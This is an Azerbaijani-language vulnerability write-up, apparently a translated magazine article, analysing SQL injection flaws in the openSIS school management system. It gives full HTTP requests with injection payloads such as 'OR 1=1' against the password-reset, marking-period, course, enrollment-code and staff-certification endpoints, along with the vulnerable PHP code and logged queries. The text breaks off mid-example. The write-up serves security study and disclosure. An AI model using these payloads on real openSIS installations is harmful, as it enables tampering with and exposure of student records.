OpenSIS-də boşluqlar. Canlı nümunədən istifadə edərək SQL inyeksiyaların təhlili.
Məqalənin Mündəricatı
- Loqlaşdırma
- SQL inyeksiyası haqqında bir az
- Autentifikasiyasız SQLi
- Autentifikasiyalı SQLi
- Məktəb Konfiqurasiyası
- Tələbələr
- İstifadəçilər
- Parametrlərin doğrulanması
- Nəticələr
Bu məqalədə bir neçə SQL inyeksiyası növünü real nümunə—openSIS tətbiqi üzərində araşdıracağıq, burada mən ciddi problemlər tapdım. Əgər PHP kodunda potensial problemləri aşkar etməyi öyrənmək istəyirsənsə, bu material canlı illüstrasiya olmalıdır. Xüsusilə, SQLi mövzusunu öyrənmək istəyən yeni başlayanlar üçün faydalı olacaq.
Məlumat
Əgər sən hələ SQL inyeksiyalarının necə işlədiyini bilmirsənsə, sənin üçün xüsusi olaraq “SQL-inyeksiyalar. Ən populyar haker texnikasını barmaqla izah edirik” adlı məqalə yazılıb.
openSIS, məktəblər və ali təhsil müəssisələri üçün əlçatan olan pulsuz və açıq mənbəli məlumat sistemi tətbiqidir. O, Open Solutions for Education şirkəti tərəfindən hazırlanıb və dəstəklənir.
Mən bu tətbiqi lokal olaraq quraşdırdım, bu da mənə onun verilənlər bazasına göndərdiyi bütün sorğuları görməyə imkan verdi. Başqa sözlə, testlər ağ qutu metodu ilə aparıldı: kod və verilənlər strukturu haqqında bilik istifadəçi tərəfindən daxil edilənlərin necə işlənildiyini və SQL sorğularının necə formalaşdırıldığını diqqətlə öyrənməyə imkan verdi.
Mən kodda istifadəçinin girişi lazımi yoxlama və təmizləmə olmadan (doğrulama və sanitizasiya) SQL sorğusuna daxil edildiyi yerləri axtardım. Gəlin görək nələr tapdım.
Xəbərdarlıq
Məqalə tanışlıq xarakteri daşıyır və müqavilə çərçivəsində testlər aparan təhlükəsizlik mütəxəssisləri üçün nəzərdə tutulub. Müəllif və redaksiya, burada verilən məlumatların tətbiqi nəticəsində yaranan hər hansı zərər üçün məsuliyyət daşımır. Zərərli proqramların yayılması, sistemlərin işinin pozulması və yazışmaların sirrinin pozulması qanunla təqib olunur.
Loqlaşdırma
İlk növbədə bizə verilənlər bazasına göndərilən sorğuların loqlaşdırılmasını qurmaq lazım olacaq. Yəni, verilənlər bazasına yerinə yetirilən sorğuları yazmalıyıq ki, sonra proqramın istifadəçinin saytda nə daxil etdiyinə necə reaksiya verdiyini görə bilək. Bu, bizə problemləri daha aydın görməyə və onlardan istifadə etməyə kömək edəcək.
MySQL və ya MariaDB-də loqlaşdırmanı aktivləşdirmək üçün aşağıdakıları yerinə yetirmək lazımdır:
-
/var/log/mysql
qovluğundamysql.log
faylı yaradın. -
Faylın və ya qovluğun icazələrini dəyişdirin və mysql istifadəçisinə icazələr verin:
chown mysql:mysql /var/log/mysql -R
-
MySQL/MariaDB parametrlər faylını açın, adətən
/etc/mysql/my.cnf
və ya/etc/my.cnf
ünvanında yerləşir. -
[mysqld]
bölməsini tapın (əgər yoxdursa, onu əlavə edin). -
Loqlaşdırmanı aktivləşdirmək üçün aşağıdakı sətirləri əlavə edin və ya kommentariyadan çıxarın:
general_log = 1 general_log_file = /var/log/mysql/mysql.log
-
Dəyişikliklərin qüvvəyə minməsi üçün MySQL/MariaDB xidmətini yenidən başladın.
SQL inyeksiyası haqqında bir az
Əvvəlcədən deyim ki, biz “kor” SQL inyeksiyaları tapacağıq (amma onları istismar etməyəcəyik). Digər SQLi formalarından fərqli olaraq, kor SQL inyeksiyaları məlumatları birbaşa açıqlamır və məlumatların çıxarılması üçün incə yanaşma tələb edir. Kor SQL inyeksiyaları iki əsas kateqoriyaya bölünür: bool dəyərlərinə əsaslanan və zamana əsaslanan.
Bool kor SQLi-də biz SQL sorğusunu elə dəyişirik ki, sistem bool dəyəri qaytarsın — yəni ifadənin doğru və ya yanlış olması barədə cavab. Bu hücum növü cavabların ikili təbiətindən istifadə edir: veb səhifənin məzmunu və ya HTTP cavab kodu, daxil edilmiş sorğunun düzgünlüyündən asılı olaraq dəyişəcək. Məsələn, sorğunun dəyişdirilməsi nəticəsində veb səhifədəki bəzi elementlər verilənlərin bazasında olan nəticələrin doğru (şərt mövcuddur) və ya yanlış (mövcud deyil) olmasına görə görünə və ya yox ola bilər.
Zamana əsaslanan kor SQL inyeksiyaları daha gizlidir. Burada biz verilənlər bazasını adi haldan bir az daha çox düşünməyə məcbur edən SQL komandaları daxil edirik və bunu məlumatları çıxarmaq üçün istifadə edirik. Səhifədə vizual geribildirim olmadığı üçün bu hücumlar xüsusilə aşkar edilməsi çətin olur. Əgər sorğunun şərti doğru olarsa, verilənlər bazasının cavabı qəsdən gecikdirilir, gecikmənin olmaması isə “yalan” deməkdir. Cavab vaxtını ölçərək, verilənlər bazasında konkret məlumatların mövcudluğunu və ya yoxluğunu müəyyən edə bilərik.
Autentifikasiyasız SQLi
Tətbiqdə səhvlər axtararkən ilk növbədə istifadəçinin autentifikasiyasını tələb etməyən zəifliklərə diqqət yetirməlisən, çünki onlar ən təhlükəlidir. Mən “Tələbə” bölməsində istifadəçi adı və parolun bərpası funksiyalarında iki oxşar SQL inyeksiyası tapdım.
Mən iki sorğu göndərdim: birinci, “Parolu unutdum” formasının işini təqlid edir, ikinci isə “İstifadəçi adını unutdum”.
Parolu unutdum:
POST /openSIS/ResetUserInfo.php HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 pass_user_type=pass_student&pass_type_form=password&password_stn_id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e5
İstifadəçi adını unutdum:
POST /openSIS/ResetUserInfo.php HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 uname_user_type=uname_student&user_type_form=username&username_stn_id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_username_dob=2024&un_email=&username_stf_email=&TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b5&save=Confirm
Bunlar hansı SQL sorğularına çevrildi:
Query SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa' AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=3 Query SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30' AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS
Gördüyün kimi, s.STUDENT_ID
dırnaq işarələrində deyil, bu da bu dəyişəni SQL inyeksiyalarına həssas edir. Mən XSS OR 1=1
faydalı yükünü istifadə edə bilərəm:
tail -f /var/log/mysql/mysql.log | grep -i 'xss' 2024-04-27T13:35:15.303711Z 9 Query SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa' AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=1 AND la.PROFILE_ID=3 2024-04-27T13:35:29.563796Z 10 Query SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30' AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=1
Bu da istifadəçi adının bərpası üçün zəif kodun necə göründüyüdür. ResetUserInfo.php
faylı, 395-ci sətir:
$get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . '' AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));
Parolun bərpası formasını işləyən zəif kod isə budur. ResetUserInfo.php
faylı, 296-cı sətir:
$stu_info = DBGet(DBQuery('SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . '' AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . '' AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));
Buradan başa düşə bilərik ki, əgər =' . $
ifadəsi üzrə grep etsək, ehtimal ki, dırnaq işarələrində olmayan bütün parametrləri tapacağıq.
Məsələn, aşağıdakı əmrdən istifadə edək:
find . -exec grep -R "=' \\. \\$" {} \; 2>/dev/null | grep 'DBQuery'
Nəticədə dırnaq işarələrində olmayan bütün parametrləri və həmçinin həssas ola biləcək digər parametrləri alacağıq. Onların hamısını yoxlamağa vaxtımız çatmaz, ona görə də zəiflikləri axtarmağa davam edək:
./index.php: $usr_prof = DBGet(DBQuery('SELECT * FROM user_profiles WHERE ID=' . $login_uniform['PROFILE_ID'])); ./index.php: $check_enrollment = DBGet(DBQuery('SELECT COUNT(*) AS REC_EX FROM student_enrollment WHERE STUDENT_ID=' . $login_uniform['USER_ID'] . ' AND END_DATE<'' . date('Y-m-d') . '' ORDER BY ID DESC LIMIT 0,1')); ./index.php: $opensis_staff_access = DBGet(DBQuery('SELECT * FROM staff_school_info WHERE STAFF_ID=' . $login_Check[1]['STAFF_ID']));
Autentifikasiyalı SQLi
Məktəb Konfiqurasiyası
Bu tətbiqin SQL inyeksiyalarından qorunmaq üçün çox maraqlı bir yanaşması var, SingleQuoteReplace
adlanır.
function singleQuoteReplace($param1, $param2, $param3) { if(empty($param1)) $param1 = false; if(empty($param2)) $param2 = false; return str_replace("'", "''", str_replace("'", "'", $param3)); }
Bu funksiya, əslində, bir tək dırnaq işarəsini iki tək dırnaq işarəsi ilə əvəz edir, beləliklə SQL inyeksiyasının qarşısını alır.
Gəlin aşağıdakı sorğuda TITLE
parametrini yoxlayaq:
POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o Connection: close tables[18][TITLE]=XSS&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_save=Save
Yuxarıdakı kimi bir sorğu göndərdiyimdə, görürəm:
2024-04-27T14:35:37.678456Z 70 Query SELECT * FROM marking_periods WHERE upper(TITLE)='XSS' AND SCHOOL_ID='1' AND SYEAR='2024'AND MARKING_PERIOD_ID NOT IN('18')
Əgər XSS
yerinə XSS'
daxil etsəm, SQL sorğusu bir az fərqli olacaq:
2024-04-27T14:36:10.103810Z 81 Query SELECT * FROM marking_periods WHERE upper(TITLE)='XSS''' AND SCHOOL_ID='1' AND SYEAR='2024' AND MARKING_PERIOD_ID NOT IN('18')
Mənim tək dırnaq işarəm iki tək dırnaq işarəsi ilə əvəz olunur. Bu vəziyyəti daha anlaşıqlı etmək üçün, bunu özün də sadə PHP kodu ilə yoxlaya bilərsən.
<?php function singleQuoteReplace($param1, $param2, $param3) { if(empty($param1)) $param1 = false; if(empty($param2)) $param2 = false; return str_replace("'", "''", str_replace("'", "'", $param3)); } echo singleQuoteReplace('', '', "XSS'"); echo "\n"; ?>
Nəticə:
root@ubuntu:~# php 1.php XSS''
Gəlin tətbiqin bu hissəsinə aid olan mənbə koduna baxaq. Bizə modules/schoolsetup/MarkingPeriods.php
faylı, 271-ci sətir lazımdır:
$TITLE_COUNT = DBGet(DBQuery('SELECT * FROM marking_periods WHERE upper(TITLE)='' . strtoupper(singleQuoteReplace('', '', $value)) . '' AND SCHOOL_ID='' . UserSchool() . '' AND SYEAR='' . UserSyear() . '' AND MARKING_PERIOD_ID NOT IN('' . $_REQUEST['marking_period_id'] . '')'));
Yuxarıdakı sorğu ilə əlaqəli başqa bir SQL sorğusu da var:
UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18'
Onun kodu modules/schoolsetup/MarkingPeriods.php
faylında, 270–286-cı sətirlərdə yerləşir:
$sql = 'UPDATE ' . $table . ' SET '; foreach ($columns as $column => $value) { $value = paramlib_validation($column, trim($value)); if ($column == 'DOES_GRADES' && $value == '') { $sql_ex = 'update ' . $table . ' set DOES_EXAM='' where marking_period_id='' . $_REQUEST['marking_period_id'] . ''';'; } if ($column == 'TITLE' && $columns['TITLE'] != '') { $TITLE_COUNT = DBGet(DBQuery('SELECT * FROM marking_periods WHERE upper(TITLE)='' . strtoupper(singleQuoteReplace('', '', $value)) . '' AND SCHOOL_ID='' . UserSchool() . '' AND SYEAR='' . UserSyear() . ''AND MARKING_PERIOD_ID NOT IN('' . $_REQUEST['marking_period_id'] . '')')); if (is_countable($TITLE_COUNT) && count($TITLE_COUNT) > 0) { $err_msg = _titleAlreadyExists; break 2; } else { $sql .= $column . '='' . singleQuoteReplace('', '', trim($value)) . '','; $go = true; } }
Gördüyün kimi, bizim sorğumuz UPDATE ' . $table . ' SET ';
ilə başlayır. Burada $table
açıq-aydın cədvəl adıdır. Sonra icra ikinci if
operatoruna keçir, çünki biz XSS
başlığını təyin etdik:
if ($column == 'TITLE' && $columns['TITLE'] != '')
İndi biz else
blokuna daxil oluruq:
$sql .= $column . '='' . singleQuoteReplace('', '', trim($value)) . '',';
Mən giriş olaraq XSS'
istifadə etdim və bu, belə bir SQL sorğusu verdi:
2024-04-27T14:58:52.933692Z 241 Query UPDATE school_years SET TITLE='XSS''',TITLE='XSS''',SHORT_NAME='FYaaaaaaa', DOES_COMMENTS='Y',DOES_GRADES='Y',DOES_EXAM='Y', POST_START_DATE='2023-09-01',POST_END_DATE='2024-08-31' WHERE MARKING_PERIOD_ID='18'
Mən SingleQuoteReplace
funksiyasını sildim və sorğuda nə dəyişəcəyini gördüm:
$sql .= $column . '='' . $value . '',';
SQL sorğusu:
2024-04-27T14:58:12.880333Z 230 Query UPDATE school_years SET TITLE='XSS'',TITLE='XSS''',SHORT_NAME='FYaaaaaaa', DOES_COMMENTS='Y',DOES_GRADES='Y',DOES_EXAM='Y',POST_START_DATE='2023-09-01', POST_END_DATE='2024-08-31' WHERE MARKING_PERIOD_ID='18'
Yalnız birinci sütunun dəyəri qaçırılıb, ikinci TITLE
eyni qaldı. Mən kodu geri qaytardım və 18
yerinə 18"
yazdım:
POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 ookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o Connection: close Content-Length: 546 tables[18''][TITLE]=XSS'&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_save=Save
Niyə ilk tables[]
içində 18-i dəyişdim?
Çünki sorğu UPDATE school_years SET TITLE
ilə idi, TITLE
parametrində 18-i dəyişdirmək məntiqli idi. SQL sorğusu indi belədir:
2024-04-27T15:11:25.255965Z 314 Query UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18'''
Niyə XSS'
XSS''
ilə əvəz olundu, amma 18''
eyni qaldı (yəni dəyişmədi), əgər mən hər şeyi normal vəziyyətə qaytardım və SingleQuoteReplace
funksiyasını aktivləşdirdim?
Çünki SingleQuoteReplace
funksiyası kodda yalnız birinci sütunun parametrində bir tək dırnaq işarəsini iki tək dırnaq işarəsi ilə əvəz edir, digər sütunlarda isə yox. İnkişaf burada MARKING_PERIOD_ID
parametrində həyata keçirilir və SingleQuoteReplace
orada işləmir.
Mən 18"
əvəzinə 18'+OR+1%3d1%23
yazdım. İndi sorğu belədir:
POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o Connection: close Content-Length: 558 tables[18'+OR+1%3d1%23][TITLE]=XSS'&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_save=Save
SQL sorğusu:
2024-04-27T15:14:17.857574Z 326 Query UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18' OR 1=1#'
Bəzi INSERT-i əhatə edən halları test etmək çətin ola bilər, çünki hər dəfə daxil edilmiş dəyərləri silmək lazım gələcək. Belə hallardan biri bu sorğudadır:
POST /openSIS/Modules.php?modname=schoolsetup/SystemPreference.php&modfunc=update&page_display=FAILURE HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o Connection: close failure%5BFAIL_COUNT%5D=1111
SQL sorğusu:
INSERT INTO system_preference_misc (FAIL_COUNT) VALUES(11111)
SQL sorğusunun kodu modules/schoolsetup/FailureCount.php
faylında, 31–47-ci sətirlərdə formalaşdırılıb:
if ($_REQUEST['modfunc'] == 'update') { if ($_REQUEST['failure']) { $TOTAL_COUNT = DBGet(DBQuery("SELECT COUNT(FAIL_COUNT) AS TOTAL_COUNT FROM system_preference_misc")); $TOTAL_COUNT = $TOTAL_COUNT[1]['TOTAL_COUNT']; if ($TOTAL_COUNT == 0 && $_REQUEST['failure']['FAIL_COUNT']) { DBQuery('INSERT INTO system_preference_misc (FAIL_COUNT) VALUES(' . $_REQUEST['failure']['FAIL_COUNT'] . ')'); } else if ($TOTAL_COUNT == 1) { $sql = 'UPDATE system_preference_misc SET '; foreach ($_REQUEST['failure'] as $column_name => $value) { $sql .= "$column_name='" . str_replace("'", "''", str_replace("`", "''", $value)) . "',"; } $sql = substr($sql, 0, -1) . ' WHERE 1=1'; DBQuery($sql); } } unset($_REQUEST['failure']); }
Burada yoxlama və təmizləmə yoxdur, buna görə də bu parametr SQL inyeksiyalarına həssasdır. Yenə də, bu halda grep (' .$
istifadə edərək digər həssas parametrləri də tapa bilərik.
İnkişafçı açıq-aşkar SQL inyeksiyasının qarşısını almağa cəhd edib, daxil edilmiş ikiqat dırnaq işarələrini ikiqatlaşdıraraq, amma bu yalnız maraqlı bir vəziyyətə gətirib çıxarıb.
Sorğu göndərək:
POST /openSIS/Modules.php?modname=schoolsetup/Courses.php&subject_id=new HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o Connection: close Content-Length: 51 tables%5Bcourse_subjects%5D%5Bnew%5D%5BTITLE%5D=XSS
Belə bir SQL sorğusu alınır:
2024-04-27T18:33:20.677481Z 1489 Query INSERT INTO course_subjects (SCHOOL_ID,SYEAR,TITLE) values('1','2024',"XSS")
Hər şey normal görünür, amma kodda ikiqat dırnaq işarəsi ikiqatlaşdırılır. modules/schoolsetup/Courses.php
faylının 1424-cü sətirinə bax:
$go = 0; foreach ($columns as $column => $value) { if ($value != '') { $value = trim(paramlib_validation($column, $value)); $fields .= $column . ','; if (stripos($_SERVER['SERVER_SOFTWARE'], 'linux')) { $value = mysql_real_escape_string($value); } $value = str_replace('"', '""', $value); $values .= '"' . $value . '",'; $go = true; } }
Bu o deməkdir ki, əgər mən XSS"
daxil etsəm, bu sətir XSS""
olacaq. Amma bir də sanitizasiya var, o harada baş verir, onu hələ öyrənə bilmədim. Mən XSS
sətirini daxil edəndə, o, XSS"
ə çevrilir. Amma yuxarıdakı kodda str_replace
funksiyası olduğu üçün, o, XSS"
i XSS""
ilə düzəldəcək, bu da SQL inyeksiyasına gətirib çıxaracaq.
Nəticə: inkişafçı iki təhlükəsizlik tədbiri tətbiq edib — dırnaq işarəsinin ikiqatlaşdırılması və sanitizasiya. Amma bu, yalnız həssas kodun yaranmasına gətirib çıxardı, çünki bir yanaşma digərinə ziddir və onların istifadəsi qaydası səhvdir.
Mən XSS")#
faydalı yükü ilə başqa bir sorğu göndərdim:
POST /openSIS/Modules.php?modname=schoolsetup/Courses.php&subject_id=new HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o Connection: close Content-Length: 54 tables%5Bcourse_subjects%5D%5Bnew%5D%5BTITLE%5D=XSS")#
SQL sorğusu:
2024-04-27T18:38:34.728708Z 1495 Query INSERT INTO course_subjects (SCHOOL_ID,SYEAR,TITLE) values('1','2024',"XSS"")#")
Tələbələr
Yuxarıda təsvir edilənə bənzər bir hal tək dırnaq işarələri ilə baş verdi.
Birinci sorğu:
POST /openSIS/Modules.php?modname=students/StudentFields.php&table=student_field_categories HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Cookie: PHPSESSID=5iesmnaum69q6unsnaalqbi2tc Connection: close tables%5Bnew%5D%5BTITLE%5D=XSS&tables%5Bnew%5D%5BSORT_ORDER%5D=1111&tables%5Bnew%5D%5BINCLUDE%5D=bbbb
SQL sorğusu:
SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE TITLE='XSS'
modules/students/StudentFields.php
faylı, 58-ci sətir:
} elseif ($table == 'student_field_categories') { if (trim($_REQUEST['tables']['new']['TITLE']) != '') { $chk_title = DBGet(DBQuery('SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE TITLE='' . str_replace("'", "''", trim($_REQUEST['tables']['new']['TITLE'])) . '''));
Koddakı kimi, o bir tək dırnaq işarəsini iki tək dırnaq işarəsi ilə əvəz edir. Beləliklə, biz daxil etdiyimiz dırnaq işarəsindən ('
) çıxırıq və sonra bir dırnaq işarəsi daha əlavə edilir (''
), bu da SQL inyeksiyasının həyata keçirilməsinə səbəb olur. Mən XSS'#
faydalı yükünü istifadə edəcəyəm:
2024-04-30T13:35:45.590461Z 47 Query SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE TITLE='XSS''#'
Eyni hal modules/students/EnrollmentCodes.php
faylında, 37–54-cü sətirlərdə də baş verdi:
$sql = 'UPDATE student_enrollment_codes SET '; foreach ($columns as $column => $value) { if (($select_enroll[1]['TYPE'] == 'Roll' || $select_enroll[1]['TYPE'] == 'TrnD' || $select_enroll[1]['TYPE'] == 'TrnE' || $value == 'Roll' || $value == 'TrnD' || $value == 'TrnE') && $column == 'TYPE') { $error = true; continue; } $value = paramlib_validation($column, trim($value)); $sql .= $column . '='' . str_replace("'", "''", $value) . ' ','; $go = true; } $sql = substr($sql, 0, -1) . ' WHERE ID='' . $id . ''';'; if ($go) DBQuery($sql); if ($error) { ShowErrPhp(_canTEditTypeBecauseItIsNotEditable); }
Gördüyün kimi, $id
üçün heç bir yoxlama yoxdur, bu da onu SQL inyeksiyalarına həssas edir.
POST /openSIS/Modules.php?modname=students/EnrollmentCodes.php&modfunc=update HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 Cookie: PHPSESSID=5iesmnaum69q6unsnaalqbi2tc Connection: close Content-Length: 152 LO_search=&values[14''][TITLE]=AAAA&values[14][SHORT_NAME]=BBB&values[14][TYPE]=Drop&values[new][TITLE]=&values[new][SHORT_NAME]=&values[new][TYPE]=
SQL sorğusu:
2024-04-30T13:41:58.636133Z 140 Query UPDATE student_enrollment_codes SET TITLE='AAAA ' WHERE ID='14'''
Mən 14' OR 1=1 -- -
faydalı yükünü istifadə etdim, SQL sorğusu belədir:
2024-04-30T13:43:42.143231Z 147 Query UPDATE student_enrollment_codes SET TITLE='AAAA ' WHERE ID='14' OR 1=1-- -'
Nəticədə bütün adlar dəyişdirildi.
İstifadəçilər
Bu tətbiq məni təəccübləndirməyə davam edir: SQL inyeksiyalarının qarşısını həqiqətən alan funksiyalar var (və bəziləri inkişafçıların özləri tərəfindən yaradılıb), amma inkişafçılar bu funksiyaları elə bir şəkildə istifadə ediblər ki, proqram sadəcə həssas qalmayıb—indi hər səhifədə inyeksiya imkanı var!
İnyeksiyaları, məsələn, sorğudan gələn dəyərləri foreach
operatoru vasitəsilə dövr edərək qarşısını almaq olar, modules/users/includes/CertificationInfoInc.php
faylının 70-ci sətirində olduğu kimi:
foreach ($_REQUEST['values'] as $cert_id => $cert_value) { if ($cert_id && $cert_id != 'new') { $sql = "UPDATE staff_certification SET "; foreach ($cert_value as $column => $value) { if (!is_array($value)) $sql .= $column . "='" . str_replace("'", "''", $value) . "',"; else { $sql .= $column . "='||"; foreach ($value as $val) { if ($val) $sql .= str_replace('"', '"', $val) . '||'; } $sql .= "',"; } } $sql = substr($sql, 0, -1) . " WHERE STAFF_CERTIFICATION_ID='$cert_id'"; DBQuery($sql); } }
Amma burada foreach
əksinə, elə bir vəziyyət yaradır ki, hər hansı bir parametr vasitəsilə SQLi keçirmək mümkün olur. Gördüyün kimi, $cert_id
heç bir şəkildə sanitizasiya edilmir və “values” dəyərindən alınır, məsələn:
POST /openSIS/Modules.php?modname=users/Staff.php&custom=staff&include=CertificationInfoInc&category_id=4&staff_id=30&modfunc=update HTTP/1.1 Host: 192.168.147.131 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQS9jXjB4QidjJBZp User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 Cookie: PHPSESSID=0oelpc05g9clrnv5fdrvg8kvqr Connection: close ------WebKitFormBoundaryQS9jXjB4QidjJBZp Content-Disposition: form-data; name="error_handler" ------WebKitFormBoundaryQS9jXjB4QidjJBZp Content-Disposition: form-data; name="LO_search" Search ------WebKitFormBoundaryQS9jXjB4QidjJBZp Content-Disposition: form-data; name="values[1][STAFF_CERTIFICATION_NAME]" AAAA2 ------WebKitFormBoundaryQS9jXjB4QidjJBZp Content-Disposition: form-data; name="month_values[1][STAFF_CERTIFICATION_DATE]" 05 ...
“Values” daxilində olan hər şey həssasdır, rəqəm yerinə mətn olan halları da daxil olmaqla, məsələn values[new]
. Verilənlər bazasına sorğu aşağıdakı kimi görünür:
root@ubuntu:~# tail -f /var/log/mysql/mysql.log | grep 'WHERE STAFF_CERTIFICATION_ID' 2024-05-02T17:37:22.846611Z 2032 Query UPDATE staff_certification SET STAFF_CERTIFICATION_NAME='AAAA2', STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL, STAFF_CERTIFICATION_DATE='2024-05-01', STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31' WHERE STAFF_CERTIFICATION_ID='1' 2024-05-02T17:37:22.846988Z 2032 Query UPDATE staff_certification SET STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL, STAFF_CERTIFICATION_DATE='2024-05-01', STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31' WHERE STAFF_CERTIFICATION_ID='2' ...
Hər bir dəyəri başqa bir rəqəmlə əvəz etsəm, aydındır ki, yeniləmələrin sayı artacaq və rəqəmlərin sayına bərabər olacaq. Mən ilk 16 dəyəri 1-dən 15-ə qədər rəqəmlərlə əvəz etdim (1-i iki dəfə istifadə etdim):
------WebKitFormBoundaryQS9jXjB4QidjJBZp Content-Disposition: form-data; name="error_handler" ------WebKitFormBoundaryQS9jXjB4QidjJBZp Content-Disposition: form-data; name="LO_search" Search ------WebKitFormBoundaryQS9jXjB4QidjJBZp Content-Disposition: form-data; name="values[1][STAFF_CERTIFICATION_NAME]" ...
SQL sorğusu:
